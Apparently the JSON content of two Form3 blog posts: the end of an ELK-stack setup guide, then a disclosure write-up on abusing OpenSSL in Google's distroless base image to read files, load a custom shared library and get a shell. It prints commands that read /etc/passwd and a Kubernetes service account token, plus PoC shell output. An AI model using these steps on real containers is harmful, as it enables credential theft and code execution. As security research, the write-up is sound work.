\u002Fusr\u002Fshare\u002Ffilebeat\u002F",[],"code_block$aba8315d-98ff-41fb-a47d-74066a2b6d7a",{"variation":437,"version":438,"items":33360,"primary":33361,"id":33367,"slice_type":468,"slice_label":5},[],{"body":33362},[33363],{"type":25,"text":33364,"spans":33365},"This Dockerfile simply uses the base Docker image and copies in the configuration file in this directory.",[33366],{"start":643,"end":2477,"type":765},"rich_text$45e085c7-a24f-4e28-af87-5fc60546d9a3",{"variation":437,"version":438,"items":33369,"primary":33370,"id":33375,"slice_type":468,"slice_label":5},[],{"body":33371},[33372],{"type":746,"text":33373,"spans":33374},"filebeat.yml",[],"rich_text$5d262ea0-46e7-4751-bdea-43e7d7a20d0d",{"variation":437,"version":438,"items":33377,"primary":33378,"id":33383,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33379},[33380],{"type":27922,"text":33381,"spans":33382},"filebeat.config:\n  modules:\n    path: ${path.config}\u002Fmodules.d\u002F*.yml\n    reload.enabled: false\n\nfilebeat.autodiscover:\n  providers:\n    - type: docker\n      hints.enabled: true\n\noutput.logstash:\n  hosts: 'logstash:5044'",[],"code_block$84154ee1-79e3-4957-914e-a1627105b4f1",{"variation":437,"version":438,"items":33385,"primary":33386,"id":33395,"slice_type":468,"slice_label":5},[],{"body":33387},[33388,33392],{"type":25,"text":33389,"spans":33390},"The guts of this file are in the filebeat.autodiscover directive, which instructs Filebeat to source its logs from Docker. The output directive simply tells Filebeat to send its logs to Logstash, rather than directly to Elasticsearch.",[33391],{"start":9077,"end":3963,"type":765},{"type":25,"text":33393,"spans":33394},"If you're logs are structured - for example, as JSON - this configuration can be extended to parse them. See later for details.",[],"rich_text$be571c28-f412-4dc0-856a-d1a116fe22c0",{"variation":437,"version":438,"items":33397,"primary":33398,"id":33412,"slice_type":468,"slice_label":5},[],{"body":33399},[33400,33403,33408],{"type":746,"text":33401,"spans":33402},"What if my logs need parsing? e.g. they're JSON.",[],{"type":25,"text":33404,"spans":33405},"If your logs need parsing, this can be achieved in the .\u002Ffilebeat\u002Ffilebeat.yml config or in the .\u002Flogstash\u002Fpipeline.conf depending on which approach you'd like to take (Filebeat vs. Logstash).",[33406,33407],{"start":3853,"end":9216,"type":765},{"start":5328,"end":19436,"type":765},{"type":25,"text":33409,"spans":33410},"If your logs are structured as JSON, the simplest thing to do is get Filebeat to parse them. An example filebeat.yml is as follows:",[33411],{"start":6780,"end":19148,"type":765},"rich_text$271b5e46-f818-4c91-9318-dc9dcbdb8fc1",{"variation":437,"version":438,"items":33414,"primary":33415,"id":33420,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33416},[33417],{"type":27922,"text":33418,"spans":33419},"filebeat.config:\n  modules:\n    path: ${path.config}\u002Fmodules.d\u002F*.yml\n    reload.enabled: false\n\nfilebeat.autodiscover:\n  providers:\n    - type: docker\n      hints.enabled: true\n      templates:\n        - condition:\n            contains:\n              docker.container.image: YOUR_CONTAINER_NAME \n          config:\n          - type: docker\n            containers.ids:\n              - \"${data.docker.container.id}\"\n            json.keys_under_root: true\n            json.add_error_key: true\n\noutput.logstash:\n  hosts: 'logstash:5044'",[],"code_block$33ed3156-5cec-4e3b-a537-a1f5cd7ef123",{"variation":437,"version":438,"items":33422,"primary":33423,"id":33429,"slice_type":468,"slice_label":5},[],{"body":33424},[33425],{"type":25,"text":33426,"spans":33427},"In this example, replace YOUR_CONTAINER_NAME with part of your container's image name. This will instruct Filebeat to only try parsing structured logs for your particular container (and avoid it trying to parse unstructured logs).",[33428],{"start":1066,"end":2674,"type":765},"rich_text$6666f516-312e-41bc-a3aa-8887aa5cd78c",{"variation":437,"version":438,"items":33431,"primary":33432,"id":33442,"slice_type":468,"slice_label":5},[],{"body":33433},[33434,33437],{"type":746,"text":33435,"spans":33436},"What if my logs are not parsed correctly?",[],{"type":25,"text":33438,"spans":33439},"Often, Filebeat does an alright job of parsing your logs, but might get things like datatypes wrong. Parsing the correct datatypes (or anything else more complicated) cannot be done in Filebeat, but a simple pipeline in Logstash can be used. An example pipeline.conf demonstrates this:",[33440,33441],{"start":9799,"end":690,"type":593},{"start":10672,"end":18932,"type":765},"rich_text$7926e3a6-0691-41c2-9ea8-08298ddb57a9",{"variation":437,"version":438,"items":33444,"primary":33445,"id":33450,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33446},[33447],{"type":27922,"text":33448,"spans":33449},"input {\n  beats {\n    port => 5044\n  }\n}\nfilter {\n  mutate {\n    convert => {\n      \"YOUR_NUMERIC_FIELD\" => \"integer\"\n    }\n  }\n}\noutput {\n  elasticsearch { hosts => [\"elasticsearch:9200\"] }\n}",[],"code_block$6f1ad223-1509-4240-932d-6ec420acf215",{"variation":437,"version":438,"items":33452,"primary":33453,"id":33459,"slice_type":468,"slice_label":5},[],{"body":33454},[33455],{"type":25,"text":33456,"spans":33457},"In this example, the field YOUR_NUMERIC_FIELD in your JSON log message has been converted to an integer by Logstash.",[33458],{"start":3485,"end":9211,"type":765},"rich_text$81e2560c-95a7-4914-970d-87f79e532b1c",{"variation":437,"version":438,"items":33461,"primary":33462,"id":33474,"slice_type":468,"slice_label":5},[],{"body":33463},[33464,33466],{"type":746,"text":4445,"spans":33465},[],{"type":25,"text":33467,"spans":33468},"That's it - with the above config and Docker files, its pretty easy to get a local ELK stack running with docker-compose up. All of the config files reference in this post can be found at https:\u002F\u002Fgithub.com\u002Fandykuszyk\u002Flocal-elk, which you can also clone and use to run docker-compose up directly.",[33469,33470,33472],{"start":6835,"end":18520,"type":765},{"start":9242,"end":2833,"type":489,"data":33471},{"link_type":491,"url":33132,"target":493},{"start":33473,"end":23883,"type":765},269,"rich_text$fa534175-70d0-4b7e-8604-2d71f67077d9","Andy Kuszyk, Head of International Engineering at FORM3, talks us through running ELK locally to interrogate container logs.",{"id":33477,"uid":33478,"type":25949,"data":33479},"alz0-hEAACcAUWc8","exploiting-distroless-images",{"title":33480,"excerpt":33481,"card_image":33482,"published_date":33487,"reading_time":1130,"tag":25960,"dek":5,"featured_image":33488,"about_form3":33493,"client_about_heading":5,"client_about_body":33494,"author_name":5,"author_title":5,"author_photo":33495,"author_bio":33496,"author_linkedin":33497,"slices":33498,"meta_title":33480,"meta_description":33504},"Exploiting Distroless Images","Daniel Teixeira, Lead of Offensive Security at Form3 discusses exploiting Distroless images, covering the topics of:Google Container Tools Distroless Base ImageAttack SurfaceAbusing OpenSSL functionalitiesAttack scenario",{"dimensions":33483,"alt":33480,"copyright":5,"url":33484,"id":33485,"edit":33486},{"width":412,"height":412},"\u002F_prismic-media\u002F51319b231f248e8c-FMXKO2VhsUl7gdfz_exploiting-distroless-images.pn","FMXKO2VhsUl7gdfz",{"x":398,"y":398,"zoom":399,"background":400},"2022-09-22",{"dimensions":33489,"alt":5,"copyright":5,"url":33490,"id":33491,"edit":33492},{"width":501,"height":502},"\u002F_prismic-media\u002F1b4de28b16647ee9-4-gdE9BP7wzX0tiE_18320338-ddef-42db-9370-81c25a5.png","4-gdE9BP7wzX0tiE",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[33499,33536,33567,33575,33586,33594,33608,33616,33624,33632,33640,33648,33656,33664,33672,33680,33688,33696,33704,33712,33729,33737,33757,33765,33774,33782,33790,33798,33811,33819,33832,33840,33858,33866,33875,33883,33899],{"variation":437,"version":438,"items":33500,"primary":33501,"id":33535,"slice_type":468,"slice_label":5},[],{"body":33502},[33503,33518,33520,33526,33529,33532],{"type":25,"text":33504,"spans":33505},"An abuse of functionality in the OpenSSL binary, installed in the official Google Container Tools Distroless Base container image, allows for command execution and arbitrary file read and write on distroless containers. By abusing the enc functionality in the OpenSSL binary it is possible to read and write to the filesystem using the -in and -out options and combining the write to the filesystem capability with the engine functionality that allows us to load shared libraries, it is possible to obtain command execution by uploading and loading malicious library.",[33506,33510,33511,33514],{"start":27582,"end":33507,"type":489,"data":33508},238,{"link_type":491,"url":33509,"target":493},"https:\u002F\u002Fwww.openssl.org\u002Fdocs\u002Fman1.1.1\u002Fman1\u002Fenc.html",{"start":13933,"end":31003,"type":765},{"start":33512,"end":33513,"type":765},344,348,{"start":33515,"end":1411,"type":489,"data":33516},419,{"link_type":491,"url":33517,"target":493},"https:\u002F\u002Fwww.openssl.org\u002Fdocs\u002Fman1.1.1\u002Fman1\u002Fengine.html",{"type":25,"text":31193,"spans":33519},[],{"type":1151,"text":33521,"spans":33522},"Google Container Tools Distroless Base Image",[33523],{"start":398,"end":2674,"type":489,"data":33524},{"link_type":491,"url":33525,"target":493},"https:\u002F\u002Fgithub.com\u002FGoogleContainerTools\u002Fdistroless",{"type":1151,"text":33527,"spans":33528},"Attack Surface",[],{"type":1151,"text":33530,"spans":33531},"Abusing OpenSSL functionalities",[],{"type":1151,"text":33533,"spans":33534},"Attack scenario",[],"rich_text$df0562c4-53e0-4a87-94d8-8230425a3126",{"variation":437,"version":438,"items":33537,"primary":33538,"id":33566,"slice_type":468,"slice_label":5},[],{"body":33539},[33540,33542,33545,33548,33551,33555,33560],{"type":746,"text":33527,"spans":33541},[],{"type":25,"text":33543,"spans":33544},"Distroless images contain only the application and its runtime dependencies. They do not contain package managers, shells or any other programs you would expect to find in a standard Linux distribution. Without non-essential executables and libraries, distroless images are often recommended for their performance, size and security due to the reduced attack surface. However, as we will see not all distroless images are built the same.",[],{"type":25,"text":33546,"spans":33547},"Product URLs",[],{"type":1151,"text":33549,"spans":33550},"gcr.io\u002Fdistroless\u002Fbase",[],{"type":1151,"text":33525,"spans":33552},[33553],{"start":398,"end":2971,"type":489,"data":33554},{"link_type":491,"url":33525},{"type":1151,"text":33556,"spans":33557},"https:\u002F\u002Fgithub.com\u002FGoogleContainerTools\u002Fdistroless\u002Ftree\u002Fmain\u002Fbase",[33558],{"start":398,"end":9237,"type":489,"data":33559},{"link_type":491,"url":33556},{"type":25,"text":33561,"spans":33562},"The Distroless Base image (gcr.io\u002Fdistroless\u002Fbase) contains the OpenSSL package, installed by the following bazel script https:\u002F\u002Fgithub.com\u002FGoogleContainerTools\u002Fdistroless\u002Fblob\u002Fmain\u002Fbase\u002Fbase.bzl",[33563],{"start":19436,"end":3300,"type":489,"data":33564},{"link_type":491,"url":33565},"https:\u002F\u002Fgithub.com\u002FGoogleContainerTools\u002Fdistroless\u002Fblob\u002Fmain\u002Fbase\u002Fbase.bzl","rich_text$584f9205-1254-4917-b52f-de83806f69c4",{"variation":437,"version":438,"items":33568,"primary":33569,"id":33574,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33570},[33571],{"type":27922,"text":33572,"spans":33573},"[...snip...]\n    container_image(\n        name = \"base_\" + user + \"_\" + arch + distro_suffix,\n        architecture = arch,\n        base = \":static_\" + user + \"_\" + arch + distro_suffix,\n        debs = [\n            DISTRO_PACKAGES[arch][distro_suffix][\"libc6\"],\n            DISTRO_PACKAGES[arch][distro_suffix][\"libssl1.1\"],\n            DISTRO_PACKAGES[arch][distro_suffix][\"openssl\"],\n        ],\n    )\n[...snip...]",[],"code_block$c7dde318-84ff-40c6-b22f-ff9856ab2074",{"variation":437,"version":438,"items":33576,"primary":33577,"id":33585,"slice_type":468,"slice_label":5},[],{"body":33578},[33579],{"type":25,"text":33580,"spans":33581},"The OpenSSL package installs two executable binaries the c_rehash and the openssl in the \u002Fusr\u002Fbin\u002F directory.",[33582,33583,33584],{"start":3639,"end":9237,"type":765},{"start":2223,"end":3289,"type":765},{"start":9315,"end":19482,"type":765},"rich_text$0a704aea-5856-4f5d-aba9-289d8bb554fa",{"variation":437,"version":438,"items":33587,"primary":33588,"id":33593,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33589},[33590],{"type":27922,"text":33591,"spans":33592},"# dpkg -L openssl | grep bin\u002F\n\u002Fusr\u002Fbin\u002Fc_rehash\n\u002Fusr\u002Fbin\u002Fopenssl",[],"code_block$fa97f853-d0f4-462b-b256-d3fa71b2d6c3",{"variation":437,"version":438,"items":33595,"primary":33596,"id":33607,"slice_type":468,"slice_label":5},[],{"body":33597},[33598,33600,33603],{"type":746,"text":33530,"spans":33599},[],{"type":25,"text":33601,"spans":33602},"To demonstrate the vulnerabilities we will use a docker container running a simple Golang application on a distroless base image.",[],{"type":25,"text":33604,"spans":33605},"main.go",[33606],{"start":398,"end":1130,"type":765},"rich_text$050291e9-3d6d-443d-a5c9-ff671cb8e477",{"variation":437,"version":438,"items":33609,"primary":33610,"id":33615,"slice_type":27926,"slice_label":5},[],{"language_label":27919,"code":33611},[33612],{"type":27922,"text":33613,"spans":33614},"package main\n\nimport (\n\t\"fmt\"\n\t\"time\"\n)\n\nfunc main() {\n\tfor {\n\t\tfmt.Println(\"Hello world!\")\n\t\ttime.Sleep(time.Second * 1)\n\t}\n}",[],"code_block$e2c6b2f3-5b34-4d04-9fe5-cb97f4aae65b",{"variation":437,"version":438,"items":33617,"primary":33618,"id":33623,"slice_type":468,"slice_label":5},[],{"body":33619},[33620],{"type":25,"text":33264,"spans":33621},[33622],{"start":398,"end":905,"type":765},"rich_text$98a3f02d-78e9-469b-8042-201c63f5a2e2",{"variation":437,"version":438,"items":33625,"primary":33626,"id":33631,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33627},[33628],{"type":27922,"text":33629,"spans":33630},"FROM golang:1.18 as builder\n\nWORKDIR \u002Fgo\u002Fsrc\u002Fapp\nADD . \u002Fgo\u002Fsrc\u002Fapp\n\nRUN go get -d -v .\u002F...\n\nRUN go build -o \u002Fgo\u002Fbin\u002Fapp\n\nFROM gcr.io\u002Fdistroless\u002Fbase\nCOPY --from=builder \u002Fgo\u002Fbin\u002Fapp \u002F\nCMD [\"\u002Fapp\"]",[],"code_block$1f7626a0-e630-4986-b5f0-134e614b9b92",{"variation":437,"version":438,"items":33633,"primary":33634,"id":33639,"slice_type":468,"slice_label":5},[],{"body":33635},[33636],{"type":25,"text":33637,"spans":33638},"Building the docker image.",[],"rich_text$584ee53c-a632-474c-9af4-af11a109700c",{"variation":437,"version":438,"items":33641,"primary":33642,"id":33647,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33643},[33644],{"type":27922,"text":33645,"spans":33646},"% docker build -t distroless-demo .\n[...snip...]",[],"code_block$53e28daf-2827-4c39-acb4-f28e5c52c10e",{"variation":437,"version":438,"items":33649,"primary":33650,"id":33655,"slice_type":468,"slice_label":5},[],{"body":33651},[33652],{"type":25,"text":33653,"spans":33654},"Running the container and verifying that the application is working as intended.",[],"rich_text$eaa8c83f-dd05-41b3-807a-5686deb8b2e5",{"variation":437,"version":438,"items":33657,"primary":33658,"id":33663,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33659},[33660],{"type":27922,"text":33661,"spans":33662},"% docker run --name demo -d distroless-demo\nfad9d33c2a467cf92bdc3c011f9dfe9ecbf5f2ed7da5b8a6b2c82ea8b7511199\n% docker attach demo                           \nHello world!\nHello world!\nHello world!\nread escape sequence",[],"code_block$2b7617cb-fd76-40df-842e-e6ad692f9535",{"variation":437,"version":438,"items":33665,"primary":33666,"id":33671,"slice_type":468,"slice_label":5},[],{"body":33667},[33668],{"type":25,"text":33669,"spans":33670},"And as expected there is no shell available in the container.",[],"rich_text$03745c8e-0239-4ce3-bcac-61f848e1d737",{"variation":437,"version":438,"items":33673,"primary":33674,"id":33679,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33675},[33676],{"type":27922,"text":33677,"spans":33678},"% docker exec -it demo \u002Fbin\u002Fsh   \nOCI runtime exec failed: exec failed: container_linux.go:380: starting \ncontainer process caused: exec: \"\u002Fbin\u002Fsh\": stat \u002Fbin\u002Fsh: no such file or \ndirectory: unknown",[],"code_block$733d858f-d740-4e0a-be84-9f1ae8da315e",{"variation":437,"version":438,"items":33681,"primary":33682,"id":33687,"slice_type":468,"slice_label":5},[],{"body":33683},[33684],{"type":25,"text":33685,"spans":33686},"But OpenSSL provides and interactive command prompt that can be abused.",[],"rich_text$d0eb3666-aff8-421a-a687-7db087888f7a",{"variation":437,"version":438,"items":33689,"primary":33690,"id":33695,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33691},[33692],{"type":27922,"text":33693,"spans":33694},"% docker exec -it demo \u002Fusr\u002Fbin\u002Fopenssl\nOpenSSL>",[],"code_block$fa7f0fc3-f090-4055-bb73-fe27b33fbf15",{"variation":437,"version":438,"items":33697,"primary":33698,"id":33703,"slice_type":468,"slice_label":5},[],{"body":33699},[33700],{"type":25,"text":33701,"spans":33702},"OpenSSL available commands.",[],"rich_text$f60215b2-0dd8-4b48-b6c6-8fdde86f31bf",{"variation":437,"version":438,"items":33705,"primary":33706,"id":33711,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33707},[33708],{"type":27922,"text":33709,"spans":33710},"OpenSSL> help \nStandard commands\nasn1parse         ca                ciphers           cms               \ncrl               crl2pkcs7         dgst              dhparam           \ndsa               dsaparam          ec                ecparam           \nenc               engine            errstr            gendsa            \ngenpkey           genrsa            help              list              \nnseq              ocsp              passwd            pkcs12            \npkcs7             pkcs8             pkey              pkeyparam         \npkeyutl           prime             rand              rehash            \nreq               rsa               rsautl            s_client          \ns_server          s_time            sess_id           smime             \nspeed             spkac             srp               storeutl          \nts                verify            version           x509              \n\nMessage Digest commands (see the `dgst' command for more details)\nblake2b512        blake2s256        gost              md4               \nmd5               rmd160            sha1              sha224            \nsha256            sha3-224          sha3-256          sha3-384          \nsha3-512          sha384            sha512            sha512-224        \nsha512-256        shake128          shake256          sm3               \n\nCipher commands (see the `enc' command for more details)\naes-128-cbc       aes-128-ecb       aes-192-cbc       aes-192-ecb       \naes-256-cbc       aes-256-ecb       aria-128-cbc      aria-128-cfb      \naria-128-cfb1     aria-128-cfb8     aria-128-ctr      aria-128-ecb      \naria-128-ofb      aria-192-cbc      aria-192-cfb      aria-192-cfb1     \naria-192-cfb8     aria-192-ctr      aria-192-ecb      aria-192-ofb      \naria-256-cbc      aria-256-cfb      aria-256-cfb1     aria-256-cfb8     \naria-256-ctr      aria-256-ecb      aria-256-ofb      base64            \nbf                bf-cbc            bf-cfb            bf-ecb            \nbf-ofb            camellia-128-cbc  camellia-128-ecb  camellia-192-cbc  \ncamellia-192-ecb  camellia-256-cbc  camellia-256-ecb  cast              \ncast-cbc          cast5-cbc         cast5-cfb         cast5-ecb         \ncast5-ofb         des               des-cbc           des-cfb           \ndes-ecb           des-ede           des-ede-cbc       des-ede-cfb       \ndes-ede-ofb       des-ede3          des-ede3-cbc      des-ede3-cfb      \ndes-ede3-ofb      des-ofb           des3              desx              \nrc2               rc2-40-cbc        rc2-64-cbc        rc2-cbc           \nrc2-cfb           rc2-ecb           rc2-ofb           rc4               \nrc4-40            seed              seed-cbc          seed-cfb          \nseed-ecb          seed-ofb          sm4-cbc           sm4-cfb           \nsm4-ctr           sm4-ecb           sm4-ofb",[],"code_block$9b6e63da-971e-42d2-bbd4-ebc350c4c1d7",{"variation":437,"version":438,"items":33713,"primary":33714,"id":33728,"slice_type":468,"slice_label":5},[],{"body":33715},[33716,33719,33724],{"type":746,"text":33717,"spans":33718},"Exploitation details",[],{"type":25,"text":33720,"spans":33721},"1. Reading arbitrary files, no kubectl cp no problem!",[33722,33723],{"start":398,"end":9312,"type":593},{"start":690,"end":1977,"type":765},{"type":25,"text":33725,"spans":33726},"Abusing the OpenSSL enc functionality allows us to read files inside the container filesystem.",[33727],{"start":7460,"end":4023,"type":765},"rich_text$85235221-e91d-4ec3-8ef0-8065367a9214",{"variation":437,"version":438,"items":33730,"primary":33731,"id":33736,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33732},[33733],{"type":27922,"text":33734,"spans":33735},"% docker exec -it demo \u002Fusr\u002Fbin\u002Fopenssl\nOpenSSL> enc -in \u002Fetc\u002Fpasswd\nroot:x:0:0:root:\u002Froot:\u002Fsbin\u002Fnologin\nnobody:x:65534:65534:nobody:\u002Fnonexistent:\u002Fsbin\u002Fnologin\nnonroot:x:65532:65532:nonroot:\u002Fhome\u002Fnonroot:\u002Fsbin\u002Fnologin\nOpenSSL>",[],"code_block$07476036-f131-4b53-aa82-da32a7c19202",{"variation":437,"version":438,"items":33738,"primary":33739,"id":33756,"slice_type":468,"slice_label":5},[],{"body":33740},[33741,33745,33750,33753],{"type":25,"text":33742,"spans":33743},"2. Writing and executing custom \"malicious\" binaries",[33744],{"start":398,"end":1251,"type":593},{"type":25,"text":33746,"spans":33747},"Abusing OpenSSL enc and engine functionalities allows us to write and execute a custom library running our \"malicious\" code.",[33748,33749],{"start":2477,"end":6262,"type":765},{"start":9799,"end":3041,"type":765},{"type":25,"text":31230,"spans":33751},[33752],{"start":398,"end":643,"type":593},{"type":25,"text":33754,"spans":33755},"Custom library source code.",[],"rich_text$e2e15f03-3dec-4834-b3e5-a63774e4864e",{"variation":437,"version":438,"items":33758,"primary":33759,"id":33764,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33760},[33761],{"type":27922,"text":33762,"spans":33763},"#include \u003Copenssl\u002Fengine.h>\n#include \u003Csys\u002Futsname.h>\n\nstatic int bind(ENGINE *e, const char *id) {\n\n  struct utsname buf;\n  uname(&buf);\n\n  printf(\"Hostname: %s\" ,buf.nodename);\n\n  return 1;\n}\n\nIMPLEMENT_DYNAMIC_BIND_FN(bind)\nIMPLEMENT_DYNAMIC_CHECK_FN()",[],"code_block$9242eb2a-6fe6-4af6-a6a8-ced95d5263d3",{"variation":437,"version":438,"items":33766,"primary":33767,"id":33773,"slice_type":468,"slice_label":5},[],{"body":33768},[33769],{"type":25,"text":33770,"spans":33771},"Compilling the library using gcc.",[33772],{"start":871,"end":5489,"type":765},"rich_text$1d4f57f0-27e9-45a8-8b31-6d1676772779",{"variation":437,"version":438,"items":33775,"primary":33776,"id":33781,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33777},[33778],{"type":27922,"text":33779,"spans":33780},"sudo apt install openssl-devel -y\ngcc -fPIC -o hostname.o -c hostname.c && gcc -s -shared -o hostname.so -lcrypto hostname.o",[],"code_block$ad14fb79-c1c8-4e8e-8a48-6273c7c4b212",{"variation":437,"version":438,"items":33783,"primary":33784,"id":33789,"slice_type":468,"slice_label":5},[],{"body":33785},[33786],{"type":25,"text":33787,"spans":33788},"Base64 encode the library.",[],"rich_text$ab7f0817-ef90-4f86-91cc-52acaba16f22",{"variation":437,"version":438,"items":33791,"primary":33792,"id":33797,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33793},[33794],{"type":27922,"text":33795,"spans":33796},"base64 .\u002Fhostname.so\nf0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgBAAAAAAAABAAAAAAAAAAEgxAAAAAAAAAAAAAEAAO\n[...snip...]",[],"code_block$b07d5d00-23f0-4d69-91d2-834a98c264b6",{"variation":437,"version":438,"items":33799,"primary":33800,"id":33810,"slice_type":468,"slice_label":5},[],{"body":33801},[33802,33806],{"type":25,"text":33803,"spans":33804},"Writing the payload",[33805],{"start":398,"end":6262,"type":593},{"type":25,"text":33807,"spans":33808},"Writing the base64 encoded library using the OpenSSL enc functionality.",[33809],{"start":9312,"end":4889,"type":765},"rich_text$d9960d6c-0839-48f5-9911-9d5209cad1d5",{"variation":437,"version":438,"items":33812,"primary":33813,"id":33818,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33814},[33815],{"type":27922,"text":33816,"spans":33817},"% docker exec -it demo \u002Fusr\u002Fbin\u002Fopenssl                       \nOpenSSL> enc -d -a -out \u002Ftmp\u002Fhostname.so\nf0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgBAAAAAAAABAAAAAAAAAAEgxAAAAAAAAAAAAAEAAO\n[...snip...]\nAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA\nOpenSSL>",[],"code_block$cdcb5a9d-d295-42c8-91a5-a274829872ea",{"variation":437,"version":438,"items":33820,"primary":33821,"id":33831,"slice_type":468,"slice_label":5},[],{"body":33822},[33823,33827],{"type":25,"text":33824,"spans":33825},"Executing the payload",[33826],{"start":398,"end":703,"type":593},{"type":25,"text":33828,"spans":33829},"Executing the custom library using the OpenSSL engine functionality and print the container hostname.",[33830],{"start":9251,"end":9312,"type":765},"rich_text$f3396bca-68b9-498b-8415-ee2fa37703db",{"variation":437,"version":438,"items":33833,"primary":33834,"id":33839,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33835},[33836],{"type":27922,"text":33837,"spans":33838},"% docker exec -it demo \u002Fusr\u002Fbin\u002Fopenssl engine \u002Ftmp\u002Fhostname.so\nHostname: d68dc92b5c99(\u002Ftmp\u002Fhostname.so) \u003CNULL>",[],"code_block$e1c0f3d1-58d1-4243-b455-84cdfa27f4e0",{"variation":437,"version":438,"items":33841,"primary":33842,"id":33857,"slice_type":468,"slice_label":5},[],{"body":33843},[33844,33847,33850,33853],{"type":746,"text":33845,"spans":33846},"Attack scenarios",[],{"type":1151,"text":33848,"spans":33849},"In a command injection attack, when an application running on a distroless base image executes unsafe user-supplied data, an adversary can abuse OpenSSL to perform actions otherwise not possible, like reading files or instaling custom attack tools.",[],{"type":1151,"text":33851,"spans":33852},"In a scenario where an adversary has obtained access to a Kubernetes cluster, he can abuse OpenSSL installed on the distroless base image to read the service account tokens, secrets injected or mounted in the filesystem and even gain interactive command execution by uploading a custom shell.",[],{"type":25,"text":33854,"spans":33855},"Reading the Kubernets service account token using OpenSSL.",[33856],{"start":398,"end":9203,"type":593},"rich_text$8030044c-14f2-4db1-991b-70e39b430610",{"variation":437,"version":438,"items":33859,"primary":33860,"id":33865,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33861},[33862],{"type":27922,"text":33863,"spans":33864},"% kubectl exec -it distroless -- \u002Fusr\u002Fbin\u002Fopenssl enc -in \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken\neyJhbGciOiJSUzI1NiIsImtpZCI6ImRpTVR5QnNxcXhLUjNzYUFSYW14TGdoZHZLNkJ6aTVD\n[...snip...]",[],"code_block$f678c148-f390-41c4-85d1-e725c98401e2",{"variation":437,"version":438,"items":33867,"primary":33868,"id":33874,"slice_type":468,"slice_label":5},[],{"body":33869},[33870],{"type":25,"text":33871,"spans":33872},"Gaining interactive command execution by uploading a custom shell.",[33873],{"start":398,"end":14740,"type":593},"rich_text$db1ea714-0f6b-4906-81a6-c3649740b8a9",{"variation":437,"version":438,"items":33876,"primary":33877,"id":33882,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33878},[33879],{"type":27922,"text":33880,"spans":33881},"python3 poc.py\n[*] Uploading the shell\n[*] Uploading the payload\n[*] Executing the payload\n[*] Getting a shell\n# set\nGOTRACEBACK='single'\nHOME='\u002Froot'\nHOSTNAME='distroless'\nIFS=' \n'\nKUBERNETES_PORT='tcp:\u002F\u002F10.43.0.1:443'\nKUBERNETES_PORT_443_TCP='tcp:\u002F\u002F10.43.0.1:443'\nKUBERNETES_PORT_443_TCP_ADDR='10.43.0.1'\nKUBERNETES_PORT_443_TCP_PORT='443'\nKUBERNETES_PORT_443_TCP_PROTO='tcp'\nKUBERNETES_SERVICE_HOST='10.43.0.1'\nKUBERNETES_SERVICE_PORT='443'\nKUBERNETES_SERVICE_PORT_HTTPS='443'\nLINENO=''\nOPTIND='1'\nPATH='\u002Fusr\u002Flocal\u002Fsbin:\u002Fusr\u002Flocal\u002Fbin:\u002Fusr\u002Fsbin:\u002Fusr\u002Fbin:\u002Fsbin:\u002Fbin'\nPPID='0'\nPS1='# '\nPS2='> '\nPS4='+ '\nPWD='\u002F'\nSSL_CERT_FILE='\u002Fetc\u002Fssl\u002Fcerts\u002Fca-certificates.crt'\nTERM='xterm'\n#",[],"code_block$a50e1547-50d9-4ea9-956e-5d161b757a9e",{"variation":437,"version":438,"items":33884,"primary":33885,"id":33898,"slice_type":468,"slice_label":5},[],{"body":33886},[33887,33889],{"type":746,"text":4445,"spans":33888},[],{"type":25,"text":33890,"spans":33891},"Not all Distroless images (static, base, ...) are created equal, and this should be taken into account when selecting a base image for critical projects. This issue was reported to Google in August 2021 and Google decided not to fix it.",[33892,33895],{"start":1977,"end":2674,"type":489,"data":33893},{"link_type":491,"url":33894,"target":493},"https:\u002F\u002Fgcr.io\u002Fdistroless",{"start":15352,"end":790,"type":489,"data":33896},{"link_type":491,"url":33897,"target":493},"https:\u002F\u002Fissuetracker.google.com\u002Fissues\u002F195646411","rich_text$4b3610e6-038e-4b7d-b53b-6bacae72226b",{"variation":437,"version":438,"items":33900,"primary":33901,"id":33937,"slice_type":468,"slice_label":5},[],{"body":33902},[33903,33905,33911,33917,33923,33928,33932],{"type":746,"text":30260,"spans":33904},[],{"type":1151,"text":33906,"spans":33907},"https:\u002F\u002Fkubernetes.io",[33908],{"start":398,"end":703,"type":489,"data":33909},{"link_type":491,"url":33910},"https:\u002F\u002Fkubernetes.io\u002F",{"type":1151,"text":33912,"spans":33913},"https:\u002F\u002Fwww.openssl.org",[33914],{"start":398,"end":4023,"type":489,"data":33915},{"link_type":491,"url":33916},"https:\u002F\u002Fwww.openssl.org\u002F",{"type":1151,"text":33918,"spans":33919},"https:\u002F\u002Fwww.docker.com",[33920],{"start":398,"end":7635,"type":489,"data":33921},{"link_type":491,"url":33922},"https:\u002F\u002Fwww.docker.com\u002F",{"type":1151,"text":33924,"spans":33925},"https:\u002F\u002Fgtfobins.github.io\u002Fgtfobins\u002Fopenssl",[33926],{"start":398,"end":5136,"type":489,"data":33927},{"link_type":491,"url":33924},{"type":1151,"text":33525,"spans":33929},[33930],{"start":398,"end":2971,"type":489,"data":33931},{"link_type":491,"url":33525},{"type":1151,"text":33933,"spans":33934},"https:\u002F\u002Fowasp.org\u002Fwww-community\u002Fattacks\u002FCode_Injection",[33935],{"